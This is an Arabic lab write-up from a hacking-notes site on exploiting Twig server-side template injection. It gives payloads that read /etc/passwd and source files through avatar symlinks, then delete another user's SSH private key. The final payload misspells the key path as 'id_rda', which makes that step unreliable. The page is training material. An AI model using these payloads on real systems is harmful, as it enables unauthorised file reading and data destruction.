> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssti/ssti-with-custom-exploit.md).

# SSTI باستغلال مخصص

### حقن القوالب من جهة الخادم مع استغلال مخصص

التطبيق عرضة لحقن SSTI. / الهدف هو إنشاء استغلال مخصص **exploit** الذي يسمح لك بإزالة `/home/carlos/.ssh/id_rsa` ملف. / اتصال محتمل مع المستخدم: `wiener:peter`.

#### نقطة قابلة للحقن

الـ **الاسم المستعار** الحقل عرضة للثغرة:

```python
}}{{7*7
```

يتم تقييم التعبير.

<figure><img src="/files/a3e8d9e135a96fcc8294717cde4275e2c2863168" alt=""><figcaption></figcaption></figure>

من خلال استثارة خطأ:

```php
}}{{7/a
```

تم اكتشاف أن المحرك المستخدم هو **Twig (PHP)**.

<figure><img src="/files/9e831c854e5f25f4fd4b8a9af1cb5c3ea6118f5a" alt=""><figcaption></figcaption></figure>

#### تحويل وظيفة D

يمكن تعريف صورة رمزية مخصصة عبر:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/aec583fa9c5fb12b7a8c22424e38bb7a603038be" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb3ab067c23d82ad81785c0d73aa145477e33c30" alt="" width="496"><figcaption></figcaption></figure>

تُنشئ هذه الآلية **وصلة رمزية** إلى أي ملف قابل للقراءة. / وبالتالي، يمكنك استعادة محتواك بتنزيل الصورة الرمزية.

#### مثال

قراءة `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

يكون الملف متاحًا عند فتح الصورة

<figure><img src="/files/9abe41b43ed385ee622b564ec7ea4710c65e84b4" alt=""><figcaption></figcaption></figure>

#### تحليل الشيفرة `User.php`

الـ `/home/carlos/User.php` يكشف الملف:

<figure><img src="/files/a5571d62ad577ded43bebe5bba59c89155eca5e7" alt=""><figcaption></figcaption></figure>

\*\*ال `gdprDelete()` الدالة تزيل فعليًا الملف الذي تشير إليه الوصلة الرمزية. \*\*/ هذا بالضبط ما ينبغي استخدامه لحذف `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### العملية: إزالة `/home/carlos/.ssh/id_rsa`

إنشاء وصلة رمزية إلى مفتاح SSH الخاص بكارلوس

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

تحفيز الإزالة عبر:

```php
user.gdprDelete()
```

تشير الوصلة الرمزية إلى `id_rsa`/ `gdprDelete()` يمحو **الهدف** الرابط \*\*`id_rsa` يتم حذف الملف. \*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
